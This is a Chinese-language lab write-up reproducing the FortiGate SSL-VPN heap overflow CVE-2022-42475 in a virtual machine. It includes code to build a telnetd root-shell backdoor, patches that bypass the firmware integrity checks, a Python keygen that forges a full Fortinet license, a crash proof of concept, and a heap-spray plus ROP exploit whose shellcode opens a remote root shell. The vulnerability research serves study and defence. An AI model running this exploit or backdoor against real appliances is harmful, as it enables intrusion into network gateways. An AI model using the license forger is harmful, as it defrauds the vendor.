CVE-2022-42475 FortiGate SSLVPN Heap Overflow
很早以前就想复现的一个漏洞,最近刚好有机会可以看看。
环境搭建
因为笔者买不起真实设备,所以选择了在海鲜市场买vm虚拟机(笑)
受影响的版本可以在这里查看,笔者选择的是受影响的最后一个版本,也就是7.2.2
提取文件系统
因为用的是vm虚拟机,所以可以直接把vmdk挂载到平时使用的ubuntu上(可以使用qemu-ndb
来挂载,笔者是直接使用VMware的图形界面新增硬盘的功能来挂载的)
挂载好之后可以在ubuntu中看到以下文件
> ls -l /media/kotori/FORTIOS
total 83244
-rw-r--r-- 1 root root 1 Sep 30 2022 boot.msg
-rw-r--r-- 1 root root 13238193 Sep 30 2022 datafs.tar.gz
-rw-r--r-- 1 root root 155 Sep 30 2022 extlinux.conf
-rw-r--r-- 1 root root 52 Sep 30 2022 filechecksum
-rw-r--r-- 1 root root 4147088 Sep 30 2022 flatkc
-rw-r--r-- 1 root root 256 Sep 30 2022 flatkc.chk
-r--r--r-- 1 root root 122656 Sep 30 2022 ldlinux.c32
-r--r--r-- 1 root root 69632 Sep 30 2022 ldlinux.sys
drwx------ 2 root root 16384 Sep 30 2022 lost+found
-rw-r--r-- 1 root root 67517892 Sep 30 2022 rootfs.gz
-rw-r--r-- 1 root root 256 Sep 30 2022 rootfs.gz.chk
其中flatkc
是bzImage内核,extlinux.conf
是内核的启动参数
> cat /media/kotori/FORTIOS/extlinux.conf
DISPLAY boot.msg
TIMEOUT 10
TOTALTIMEOUT 9000
DEFAULT flatkc ro panic=5 endbase=0xA0000 console=ttyS0, root=/dev/ram0 ramdisk_size=65536 initrd=/rootfs.gz
而rootfs.gz
就是我们要提取的文件系统,将它拷贝到本地过后使用gunzip
和cpio
解包,
> ls
bin.tar.xz dev lib64 sbin usr.tar.xz.chk
bin.tar.xz.chk etc migadmin.tar.xz sys var
boot fortidev node-scripts.tar.xz tmp
data init proc usr
data2 lib rootfs usr.tar.xz
解压出来会发现bin
目录和部分其他目录都以.tar.xz
格式打包了,飞塔使用的tar和xz的算法都是自己魔改过的,在sbin
目录下可以找到对应的可执行文件,直接尝试使用这里的文件来解包。
> ./sbin/xz --check=sha256 -d ./bin.tar.xz
zsh: no such file or directory: ./sbin/xz
这里抛出了no such file or directorty: ./sbin/xz
的报错,猜测是他链接的库的路径问题
> ldd ./sbin/xz
linux-vdso.so.1 (0x00007ffcb54f1000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f5ac637e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5ac618c000)
/fortidev/lib64/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f5ac64e7000)
ld-linux-x86-64.so.2
使用的是以当前文件系统为根目录的绝对路径,所以我们需要chroot修改一下根目录,
chroot . sbin/xz --check=sha256 -d ./bin.tar.xz
chroot . sbin/ftar -xf ./bin.tar
这样就提取出了bin文件夹,这里面的大量文件都是到/bin/init
或/bin/sysctl
的软链接(前者实现了大量功能,后者类似于精简版的busybox,提供了一些基础的shell命令),我们要分析的漏洞文件sslvpnd
也是到/bin/init
的软链接。
> ls -l ./bin | grep sslvpnd
lrwxrwxrwx 1 root root 9 Jan 29 19:39 sslvpnd -> /bin/init
调试后门植入
修改文件系统
因为fortigate的设备开机之后自动启动的是飞塔的CLI shell,全是网络配置的命令,没有办法像我们拿到正常的linux shell那样方便操作,所以需要我们通过重新打包文件系统来制作后门。
首先静态编译一个busybox到bin目录下,笔者使用的是busybox-1.36.0
,编译好之后直接复制过去。
cp /home/kotori/Desktop/busybox-1.36.0/busybox ./bin/
chmod 777 ./bin/busybox
重新制作sh为指向/bin/busybox
的软链接:
rm -rf ./bin/sh
ln -s /bin/busybox ./bin/sh
(不过这个软链接由于不明原因起不到作用,如果有师傅知道怎么回事还请指点一下)
在CLI shell中执行diagnose hardware smartctl
时,会调用execv运行/bin/smartctl
__int64 __fastcall sub_23A2D40(int a1, const void *a2)
{
__int64 v2; // rbx
void *v3; // rsp
__pid_t v4; // eax
unsigned int v5; // r12d
int *v7; // rbx
char *v8; // rax
char *v9[6]; // [rsp+0h] [rbp-30h] BYREF
v2 = a1;
v9[1] = (char *)__readfsqword(0x28u);
v3 = alloca(8LL * (a1 + 1));
v4 = fork();
v5 = v4;
if ( v4 < 0 )
{
if ( (unsigned int)sub_212EAB0() || *(_DWORD *)(sub_21E9820() + 4) > 2u )
{
v7 = __errno_location();
v8 = strerror(*v7);
fprintf(stdout, "[%s:%d] fork() failed: (%d)%s\n", "act_diag_hw_smartctl", 641LL, (unsigned int)*v7, v8);
}
fflush(stdout);
}
else if ( v4 )
{
v5 = 0;
wait(0LL);
}
else
{
if ( a1 <= 0 )
v2 = 0LL;
else
memcpy(v9, a2, 8LL * a1);
v9[v2] = 0LL;
execv("/bin/smartctl", v9); // here
}
return v5;
}
我们可以很方便地劫持该文件为后门入口。
编写一个简单的后门程序,前面两个命令用来测试后门是否正常运行,第三个命令制作一个反弹shell(由于防火墙策略的存在,不能随便起端口,所以这里采用kill掉原来的ssh服务后马上在22端口起telnet的方式)
# include <stdio.h>
void shell() {
system("/bin/busybox ls", 0, 0);
system("/bin/busybox id", 0, 0);
system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0);
return;
}
int main(int argc, char const *argv[]) {
shell();
return 0;
}
静态编译后替换bin目录下的smartctl。
gcc backdoor.c -o backdoor --static -g
rm ./bin/smartctl
cp ./backdoor ./bin/smartctl
chmod 777 ./bin/smartctl
至此,反弹shell后门制作完毕。但如果此时直接打包文件系统是没办法通过文件系统的自检的,所以我们还需要做一些额外的工作(某些旧版本不需要这一步)。
绕过完整性校验
内核启动时会有如下调用链
start_kernel
rest_init
kernel_init
init_post_isra_0
在init_post_isra_0
中会调用fgt_verify
来check文件系统是否被篡改,如果通过校验则运行/sbin/init
void __fastcall __noreturn init_post_isra_0(__int64 a1, void **a2)
{
char v2; // al
__int64 v3; // rax
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
char v8; // [rsp-8h] [rbp-8h]
v8 = v2;
async_synchronize_full();
free_initmem();
dword_FFFFFFFF80A1D980 = 1;
numa_default_policy();
v3 = *(_QWORD *)(__readgsqword(0xB700u) + 1048);
*(_DWORD *)(v3 + 92) |= 0x40u;
if ( !(unsigned int)fgt_verify() )
{
off_FFFFFFFF809BC2C0 = "/sbin/init";
a2 = &off_FFFFFFFF809BC2C0;
kernel_execve("/sbin/init", &off_FFFFFFFF809BC2C0, &off_FFFFFFFF809BC1A0);
}
panic(
(unsigned int)"No init found. Try passing init= option to kernel. See Linux Documentation/init.txt for guidance.",
(_DWORD)a2,
v4,
v5,
v6,
v7,
v8);
}
/sbin/init
的main函数如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *argv[4]; // [rsp+0h] [rbp-20h] BYREF
argv[3] = (char *)__readfsqword(0x28u);
sub_4017D0(a1, a2, a3);
unlink("/sbin/init.chk");
if ( (int)sub_401AD0("bin") >= 0 && (int)sub_401AD0("migadmin") >= 0 && (int)sub_401AD0("node-scripts") >= 0 )
sub_401AD0("usr");
argv[0] = "/bin/init";
argv[1] = 0LL;
execve("/bin/init", argv, 0LL);
return 0LL;
}
sub_401AD0
是利用sbin目录下的程序解包对应的压缩目录,解包完之后便调用execve
运行/bin/init
不过在这之前,还调用了sub_4017D0
:
unsigned __int64 sub_4017D0()
{
char v0; // cl
char v1; // dl
__int64 i; // rax
__int64 v4; // [rsp+Fh] [rbp-41h]
char v5[17]; // [rsp+17h] [rbp-39h] BYREF
__int16 v6; // [rsp+28h] [rbp-28h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v0 = 97;
v1 = 78;
v7 = __readfsqword(0x28u);
v4 = 0x42F1C441217474ELL;
strcpy(v5, "aiqu0oZi");
for ( i = 0LL; ; v0 = v5[i] )
{
v5[i++ + 9] = v0 ^ v1;
if ( i == 8 )
break;
v1 = v5[i - 8];
}
v6 = 50;
sub_401700(&v5[9]);
return v7 - __readfsqword(0x28u);
}
有个可疑的字符串v5
,写出简单脚本对v5
做一个解密,
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main()
{
char v0 = 97;
char v1 = 78;
char v4[] = {0x4e, 0x47, 0x17, 0x12, 0x44, 0x1c, 0x2f, 0x04};
char v5[17] = {};
strcpy(v5, "aiqu0oZi");
for (int i = 0LL; ; v0 = v5[i] ) {
v5[i++ + 9] = v0 ^ v1;
if ( i == 8 )
break;
v1 = v4[i];
}
puts(&v5[9]);
return 0;
}
得到的结果前8个字符是/.fgtsum
,跟进sub_401700
可以看到EVP_sha256
等函数,所以猜测此函数的用途也是检测文件系统完整性。
我们给它patch掉,
如果一切都正常的话,此时就会进到/bin/init
中,
经过简单分析,在/bin/init
的main函数中也存在三处check(图中的sub_44F1F0
漏掉了注释),
如果check失败的话则会直接进入sub_44F070
重启系统。
这里笔者选择直接patch掉判断(按理说也可以直接将sub_44F070
的开头patch成ret,不过XREF一下会发现正常的关机流程也会调用它,所以笔者没有选择这个方法)
我这里是把第一处的跳转nop掉,然后把第二处的jz
patch成jmp
,如此一来,这两处check就无论如何都不会进到sub_44F070
了。
用patch后的init替换掉原来的init后就可以重新打包文件系统了。
chroot . sbin/ftar -cf ./bin.tar ./bin
chroot . sbin/xz --check=sha256 -e ./bin.tar
rm -rf ./bin
find . | cpio -o --format=newc > ../rootfs.raw
cat ../rootfs.raw | gzip > ./rootfs.gz
打包好之后替换掉vmdk中的rootfs.gz,拿新的vmdk去替换掉虚拟机原来的那个硬盘就行了。
此时我们梳理一遍开机的流程:
- 内核启动,调用
fgt_verify
进行文件系统校验,通过后运行/sbin/init
/sbin/init
再次检查文件系统完整性,然后解压bin
,migadmin
,node-scripts
,usr
这四个文件夹,无误后运行/bin/init
/bin/init
替换自身进程为/bin/initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
,重定向三个标准文件描述符到/dev/null
,再次检查文件系统完整性......
后面两步的检查已经被我们patch掉了,重点就是解决第一步的问题。
因为对内核patch后重新打包不是很行得通,故尝试直接动调hook掉检查。
VMware针对内核调试有专门的接口,在FortiGate的vmx
文件中加入debugStub:
debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "1337"
debugStub.listen.guest32 = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
debugStub.port.guest32 = "1338"
启动的时候即可使用gdb连上去远程调试了(一开始使用的是pwndbg,不过实在是太慢了,就换成了gef)
断在判断fgt_verify
后,patch返回值为0
成功通过校验,启动系统
这里笔者打包好了自动patch的脚本
> cat ./gdbinit
file ./vmlinux
gef-remote 192.168.43.208 1337
b *0xFFFFFFFF807AC117
c
!sleep 1
ni
set $eax=0
c
登录上之后diagnose hardware smartctl
打开后门,可以看到前面两条验证指令正常运行了,
在ubuntu中使用telnet连上去成功getshell
接着上传一个静态编译的gdbserver方便后续调试。
笔者是在本地搭了一个http file server,直接用wget拉取下来。
不过每次重启都需要重新上传,最好还是修改文件系统的时候直接打包放进去
还是因为防火墙policy的原因,我们不能直接开端口,这里我选择了kill掉原来8013的服务
/bin/busybox killall fsvrd && ./gdbserver-7.10.1-x64 :8013 --attach 190
可以正常调试了
配置sslvpn
因为漏洞点在sslvpn的功能中,所以需要给设备配置sslvpn
首先打开port1的http服务,笔者这里是把能开的服务全开了
访问web页面,登录管理账号
不出意外的话,登录之后会让你弄一个License,这里可以直接选择免费的Evaluation License
,注册一个飞塔账号就行了。但是使用免费的Evaluation License
会使设备进入LENC模式,在此模式下加密算法受限,会导致SSL或TLS需要降版本交互。因此,笔者采用了破解Full License
的方法。
根据这篇文章的分析,我们可以写出注册机:
import struct
import base64
from Crypto.Cipher import AES
lic_key_array = {
"SERIALNO": (0x73, 0x0),
"CERT": (0x73, 0x8),
"KEY": (0X73, 0x10),
"CERT2": (0X73, 0x18),
"KEY2": (0X73, 0x20),
"CREATEDATE": (0x73, 0x28),
"UUID": (0x73, 0x30),
"CONTRACT": (0x73, 0x38),
"USGFACTORY": (0x6e, 0x40),
"LENCFACTORY": (0x6e, 0x44),
"CARRIERFACTORY": (0x6e, 0x48),
"EXPIRY": (0x6e, 0x4c)
}
class License:
fixed_aes_key = b"\x4C\x7A\xD1\x3C\x95\x3E\xB5\xC1\x06\xDA\xFC\xC3\x90\xAE\x3E\xCB"
fixed_aes_iv = b"\x4C\x7A\xD1\x3C\x95\x3E\xB5\xC1\x06\xDA\xFC\xC3\x90\xAE\x3E\xCB"
fixed_rsa_header = b"\x78\x99\xBF\xA5\xEF\x56\xAA\x98\xC1\x0B\x87\x2E\x30\x8E\x54\xF9\x71\xAD\x13\xEA\xAA\xBC\xE2\x0C\xB3\xAE\x65\xAE\xF9\x0E\x9B\xD1\x88\xC7\xFE\xBC\x86\x65\xFE\xE7\x62\xDE\x43\x0B\x02\x15\x36\xC8\xC5\xCD\x0E\xB9\x01\x97\xCE\x82\x27\x0F\x69\x7F\x6A\x29\xEC\x1C"
rsa_header_length = len(fixed_rsa_header) # 4 bytes
aes_key = fixed_aes_iv + fixed_aes_key # 32 bytes iv + key
enc_data_length = None
enc_data = None
license_data = None
license_header = "-----BEGIN FGT VM LICENSE-----\r\n"
license_tail = "-----END FGT VM LICENSE-----\r\n"
def __init__(self, licensedata):
self.license_data = licensedata
def encrypt_data(self):
tmp_buf = b"\x00" * 4 + struct.pack("<I", 0x13A38693) + b"\x00" * 4 + self.license_data # append magic number
def encrypt(data, password, iv):
bs = 16
pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs).encode()
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.encrypt(pad(data))
return data
self.enc_data = encrypt(tmp_buf, self.aes_key[16:], self.aes_key[:16])
self.enc_data_length = len(self.enc_data)
def obj_to_license(self):
buf = b""
buf += struct.pack("<I", self.rsa_header_length)
buf += self.fixed_rsa_header
buf += struct.pack("<I", self.enc_data_length)
buf += self.enc_data
return base64.b64encode(buf)
class LicenseDataBlock:
key_name_length = None # 1 byte
key_name = None
key_flag = None # 1 byte, 's' for str or 'n' for num
key_value_length = None # 2 bytes
key_value = None
def __init__(self, keyname, keyvalue):
self.key_name_length = len(keyname)
self.key_name = keyname
self.key_value_length = len(keyvalue)
self.key_value = keyvalue
self.key_flag = lic_key_array.get(keyname)[0]
def obj_to_bin(self):
buf = b""
buf += struct.pack("<B", self.key_name_length)
buf += self.key_name.encode()
buf += struct.pack("<B", self.key_flag)
if self.key_flag == 0x73:
buf += struct.pack("<H", self.key_value_length)
buf += self.key_value.encode()
elif self.key_flag == 0x6e:
buf += struct.pack("<H", 4)
buf += struct.pack("<I", int(self.key_value))
return buf
if __name__ == "__main__":
license_data_list = [
LicenseDataBlock("SERIALNO", "FGVMPGLICENSEDTOCATALPA"),
LicenseDataBlock("CREATEDATE", "1696089600"),
LicenseDataBlock("USGFACTORY", "0"),
LicenseDataBlock("LENCFACTORY", "0"),
LicenseDataBlock("CARRIERFACTORY", "0"),
LicenseDataBlock("EXPIRY", "31536000"),
]
license_data = b""
for obj in license_data_list:
license_data += obj.obj_to_bin()
_lic = License(license_data)
_lic.encrypt_data()
raw_license = _lic.obj_to_license().decode()
n = 0
lic = ""
while True:
if n >= len(raw_license):
break
lic += raw_license[n:n + 64]
lic += "\r\n"
n += 64
with open("./License.lic", "w") as f:
f.write(_lic.license_header + lic + _lic.license_tail)
print("[+] done.")
上传生成的License后,即可使用全部功能。
在4443端口配置SSL-VPN
然后在防火墙Policy里面添加一下对应的规则
最后能够正常访问到4443端口,漏洞环境配置完成。
漏洞分析
漏洞点的锁定我们可以下载patch过后的版本来使用ida进行diff,不出意外的话会发现相当多的对je_malloc
分配大小的限制。这里借用CataLpa师傅在博客中的分析:
考虑到该漏洞是一个堆内存溢出,根据修复方式推测漏洞的根本原因可能是某处发生整数溢出,导致内存分配函数返回了一块较小的内存,而后续拷贝数据时又使用了较大的 size。
而在 HTTP 请求中可能有两种情况会导致以上结果,一是某些功能 handler 函数中对用户提交的参数验证不严格,或者代码在解析请求时对 Content-Length 的解析出现异常。
sslvpn 中在未授权情况下能够访问的功能点不多,漏洞出现在请求解析阶段可能性比较大。sslvpnd 是基于 Apache httpd 修改而来,开发者在其中添加了很多自定义代码,导致复杂度较高,而且程序不包含符号信息,分析起来会消耗很多时间。
我们可以采取更简单的方法,基于补丁分析和推测,漏洞可能发生在解析请求,特别是处理 Content-Length 阶段。那么只需要按照 fuzz HTTP 协议的思路,构造一些带有畸形 Content-Length 的请求,例如 CL 过大、或者等于负数的情况,将这些请求发送到能够未授权访问的接口中,同时检测 web 服务状态,发生崩溃或无法收到响应时记录下对应的请求报文。
我们直接构造一个带有巨大Content-Length的数据包:
import socket
import ssl
def send_post_data(cl, content, host = b'192.168.128.135', path = b'/remote/login', log = True):
length = bytes(str(cl), encoding='utf-8')
data = b'POST ' + path + b' HTTP/1.1\r\n'
data += b'Host: ' + host + b'\r\n'
data += b'Content-Length: ' + length + b'\r\n'
data += b'User-Agent: Mozilla/5.0\r\n'
data += b'Content-Type: text/plain;charset=UTF-8\r\n'
data += b'Accept: */*\r\n\r\n'
data += content
if log:
print(data)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, 4443))
if log:
print('connected')
except (socket.error, OSError) as e :
print(e)
context = ssl._create_unverified_context()
sock = context.wrap_socket(sock)
sock.sendall(data)
res = sock.recv(1024)
if log:
print(res)
except Exception as e:
print(e)
send_post_data(2**31+1, b'a=1')
成功触发crash
Program received signal SIGSEGV, Segmentation fault.
0x00007fb76eac776d in __memset_avx2_erms () from target:/usr/lib/x86_64-linux-gnu/libc.so.6
...
制造堆溢出
经过回溯,最终定位到漏洞函数sub_1785AB0
,也就是read_post_data
的处理流程
__int64 __fastcall read_post_data(_QWORD *a1)
{
_QWORD *v1; // r12
__int64 v2; // rax
__int64 v3; // rbx
int v4; // eax
int v5; // r12d
__int64 v6; // rdi
__int64 v7; // rdx
int v8; // r12d
__int64 v10; // rdx
int v11; // r12d
v1 = (_QWORD *)a1[92];
v2 = sub_17902B0(a1[83]);
v3 = v2;
if ( !*(_QWORD *)(v2 + 8) )
*(_QWORD *)(v2 + 8) = pool_alloc(*v1, *(_DWORD *)(v2 + 24) + 1); // vuln here
v4 = sub_1662BA0(v1, v3 + 32, 8190LL);
v5 = v4;
if ( v4 )
{
if ( v4 < 0 )
{
if ( (unsigned int)sub_16594C0(a1[77]) - 1 <= 4 )
return 0LL;
}
else
{
v6 = *(int *)(v3 + 16);
v7 = *(_QWORD *)(v3 + 24);
if ( (int)v6 + v4 > v7 )
v5 = *(_QWORD *)(v3 + 24) - v6;
if ( v7 > v6 )
{
memcpy((void *)(*(_QWORD *)(v3 + 8) + v6), (const void *)(v3 + 32), v5);
v10 = *(_QWORD *)(v3 + 24);
v11 = *(_DWORD *)(v3 + 16) + v5;
*(_DWORD *)(v3 + 16) = v11;
if ( v11 < v10 )
return 0LL;
}
else
{
v8 = *(_DWORD *)(v3 + 16) + v5;
*(_DWORD *)(v3 + 16) = v8;
if ( v8 < v7 )
return 0LL;
}
}
}
return 2LL;
}
此函数申请了Content-Length
+1的堆空间,之后再将用户的数据copy到这个chunk上。
但是对于CL的处理,汇编是这样的:
.text:0000000001785B90 8B 40 18 mov eax, [rax+18h]
.text:0000000001785B93 49 8B 3C 24 mov rdi, [r12]
.text:0000000001785B97 8D 70 01 lea esi, [rax+1]
.text:0000000001785B9A 48 63 F6 movsxd rsi, esi
.text:0000000001785B9D E8 CE 8A EC FF call pool_alloc
从[rax+18h]
拿到CL之后,存在了32bit的寄存器eax上,后续使用lea esi, [rax+1]
来对其递增1,最后使用movsxd rsi, esi
将其从32bit带符号地扩展为64bit。
这样短暂的转换就带来了很大的问题,笔者构造的CL 2**31+1
在转换前后:
$rsi : 0x80000002
$rsi : 0xffffffff80000002
如此进入到pool_alloc
中的memset
时,这个长度导致了越界访问的段错误。
想要转换成堆溢出,我们只需要构造一个大于32bit范围的数据,比如0x100000000
,低32bits全部为0,在被转化为32bit的数据时,高位的精度会全部丢失,这时递增1后重新转化为64bit,结果就只有1了。
如此一来在申请时只申请了最小粒度的空间,而后续memcpy时就能填入至多0x100000000
的数据,从而造成堆溢出。
堆喷
得到堆溢出之后,我们需要调整一下堆上的布局从而方便后续利用。
参考这篇博客在完成CVE-2018-13379 + CVE-2018-13383
时的思路,喷射SSL结构体。
通过不断发送https请求来喷射大量的ssl结构体,随后以固定间隔释放一部分连接来制造Hole。我们此时触发堆溢出就能破坏掉某个连接的ssl结构体。
查看openssl的源码,找到struct ssl_st
struct ssl_st {
/*
* protocol version (one of SSL2_VERSION, SSL3_VERSION, TLS1_VERSION,
* DTLS1_VERSION)
*/
int version;
/* SSLv3 */
const SSL_METHOD *method;
/*
* There are 2 BIO's even though they are normally both the same. This
* is so data can be read and written to different handlers
*/
/* used by SSL_read */
BIO *rbio;
/* used by SSL_write */
BIO *wbio;
/* used during session-id reuse to concatenate messages */
BIO *bbio;
/*
* This holds a variable that indicates what we were doing when a 0 or -1
* is returned. This is needed for non-blocking IO so we know what
* request needs re-doing when in SSL_accept or SSL_connect
*/
int rwstate;
int (*handshake_func) (SSL *);
/*
* Imagine that here's a boolean member "init" that is switched as soon
* as SSL_set_{accept/connect}_state is called for the first time, so
* that "state" and "handshake_func" are properly initialized. But as
* handshake_func is == 0 until then, we use this test instead of an
* "init" member.
*/
/* are we the server side? */
int server;
......
};
我们设法可以劫持该结构体上的handshake_func
指针。
此时还需要想办法定位ssl_st结构体:
__int64 __fastcall sub_1785C90(__int64 a1, __int64 a2)
{
int v2; // r14d
__int64 v4; // rbx
__int64 v5; // rax
_DWORD *v6; // rax
__int64 v7; // rsi
v2 = 30;
v4 = sub_178BA40(*(unsigned int *)(a1 + 144));
sub_1790110(a2, "send_expect_100", 0LL, 4LL, send_expect_100);
sub_1790110(a2, "read_post_data", 0LL, 1LL, read_post_data);
sub_1790260(a2, sub_17859B0);
sub_1790280(a2, sub_1785BB0);
if ( v4 )
v2 = *(_DWORD *)(v4 + 68);
v5 = sub_178FD50(a1);
if ( !v5 || (v6 = *(_DWORD **)(v5 + 56)) == 0LL || (v7 = 1000LL, (unsigned int)(*v6 - 6) <= 2) )
v7 = (unsigned int)(100 * v2);
sub_1790270(a2, v7, 0LL);
return 0LL;
}
该函数调用了sub_1790110
来分配ssl_st结构体,并且复制了一个字符串在结构体偏移200处
char *__fastcall sub_1790110(__int64 *a1, const char *a2, int a3, int a4, __int64 a5)
{
size_t v7; // rax
char *v8; // rax
char *v9; // r12
char *v10; // rax
char **v11; // rax
v7 = strlen(a2);
v8 = (char *)pool_alloc(*a1, v7 + 201);
v9 = v8;
if ( v8 )
{
*(_QWORD *)v8 = v8;
*((_QWORD *)v8 + 1) = v8;
v10 = &v8[32 * a3];
*((_DWORD *)v10 + 6) = a4;
*((_DWORD *)v10 + 7) = a4;
if ( (a4 & 1) != 0 )
{
*(_QWORD *)&v9[32 * a3 + 32] = a5;
}
else if ( (a4 & 4) != 0 )
{
*(_QWORD *)&v9[32 * a3 + 40] = a5;
}
strcpy(v9 + 200, a2); // here
v11 = (char **)a1[13];
a1[13] = (__int64)v9;
*(_QWORD *)v9 = a1 + 12;
*((_QWORD *)v9 + 1) = v11;
*v11 = v9;
}
return v9;
}
所以我们只需要定位read_post_data
字符串就行能推算出handshake_func
指针的位置。
由于该结构体也是通过je_malloc
分配的,和为post数据分配的空间处于同一个区域内,所以可以大量创建ssl会话,然后释放其中一部分制造出空洞,随后创建出恶意会话,该会话的结构体就会被申请到某个空洞上来配合溢出。
完成利用
rop链上有比较多的dirty read/write噪点,故抬栈gap了一下。
并非最终利用,仅供参考
from pwn import *
import socket
import ssl
context.arch='amd64'
def create_ssl_ctx(host = b'192.168.128.135', name = 4443):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, name))
except (socket.error, OSError) as e :
print(e)
return None
context = ssl._create_unverified_context()
sock = context.wrap_socket(sock)
print('[+] connected')
return sock
except Exception as e:
print(e)
return None
def make_request_hdr(cl, content, host = b'192.168.128.135', path = b'/remote/login'):
length = bytes(str(cl), encoding='utf-8')
data = b'POST ' + path + b' HTTP/1.1\r\n'
data += b'Host: ' + host + b'\r\n'
data += b'Content-Length: ' + length + b'\r\n'
data += b'User-Agent: Mozilla/5.0\r\n'
data += b'Content-Type: text/plain;charset=UTF-8\r\n'
data += b'Accept: */*\r\n\r\n'
data += content
return data
socks = []
for i in range(60):
_sock = create_ssl_ctx()
_sock.sendall(make_request_hdr(100, b'a=1'))
socks.append(_sock)
for i in range(20, 40, 2):
_sock = socks[i]
_sock.close()
socks[i] = None
devil_sock = create_ssl_ctx()
for i in range(20):
socks.append(create_ssl_ctx())
stack_pivot = 0x000000000140583a # push rdx ; pop rsp ; add edi, edi ; nop ; ret
pop_rsi = 0x0000000000530c9e # pop rsi ; ret
pop_rdx = 0x0000000000509382 # pop rdx ; ret
pop_rax = 0x000000000046bb37 # pop rax ; ret
pop_rdx_rdi = 0x0000000002381372 # pop rdx ; pop rdi ; ret
pop_rcx_rsi = 0x000000000256f583 # pop rcx ; pop rsi ; ret
and_rax_rcx = 0x0000000002b83960 # and rax, rcx ; ret
add_rsp = 0x0000000002b7fdf1 # add rsp, 0x20 ; pop rbx ; ret
mov_rdi_rdx = 0x000000000045d852 # mov rdi, rdx ; test esi, esi ; jne 0x45d860 ; ret
mov_rcx_rdi = 0x00000000005f4af7 # mov rcx, rdi ; jne 0x5f4b00 ; ret
mov_rcx_rax = 0x0000000002a1b770 # mov rcx, rax ; test dl, dl ; jne 0x2a1b750 ; ret
mov_rdx_rcx = 0x000000000279ab44 # mov rdx, rcx ; jmp rax
mov_rdi_rax = 0x0000000002b49d10 # mov rdi, rax ; call rcx
call_rsp = 0x000000000046c8c7 # call rsp
writeable_addr = 0x0000000003fc5000
mprotect_plt = 0x43f3e0
'''
0x00000000027ce88c : sub rsp, rax ; mov rdi, rsp ; call qword ptr [rbx]
0x00000000027d3d51 : mov rdi, rsp ; mov r12, rsp ; call qword ptr [rbx]
'''
def place_str_in_stack(arg):
ret = ''
# padding
if len(arg)%8 != 0:
arg += '\x00' * (8 - (len(arg) % 8))
else:
arg += '\x00' * 8
for i in range(0, len(arg), 8):
# print(arg[i:i+8])
ret = 'mov rax, {};push rax;'.format(u64(arg[i:i+8])) + ret
return ret
sc = asm('''
mov rsp, rbp;
{}
mov rdi, rsp;
xor rsi, rsi;
xor rdx, rdx;
mov rax, 0x43ec20;
call rax;
'''.format(place_str_in_stack('/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22')))
offset = 0xe20-0xc0
pay = cyclic(offset)
for i in range(3):
pay += p64(add_rsp)
pay += p64(writeable_addr)*5
pay += p64(pop_rsi) + p64(writeable_addr)
pay += p64(add_rsp) + p64(writeable_addr)*3
pay = pay.ljust(offset + 192, b'e')
pay += p64(stack_pivot)
pay += p64(writeable_addr)
# mprotect($rdx, 0x4000, 7)
pay += p64(pop_rsi) + p64(0)
pay += p64(mov_rdi_rdx)
pay += p64(mov_rcx_rdi)
pay += p64(pop_rax) + p64(0xfffffffffffff000)
pay += p64(and_rax_rcx)
pay += p64(pop_rdx) + p64(0)
pay += p64(mov_rcx_rax)
pay += p64(pop_rax) + p64(pop_rsi+1)
pay += p64(mov_rdx_rcx)
pay += p64(mov_rdi_rdx)
pay += p64(pop_rdx) + p64(7)
pay += p64(pop_rsi) + p64(0x4000)
pay += p64(mprotect_plt)
pay += p64(call_rsp)
pay += sc
devil_sock.sendall(make_request_hdr(0x1000000000, pay))
# trigger
for sk in socks:
if sk is not None:
sk.sendall(b'a'*60)
参考
https://www.pirates.re/fortigate-vm-for-vulnerability-discovery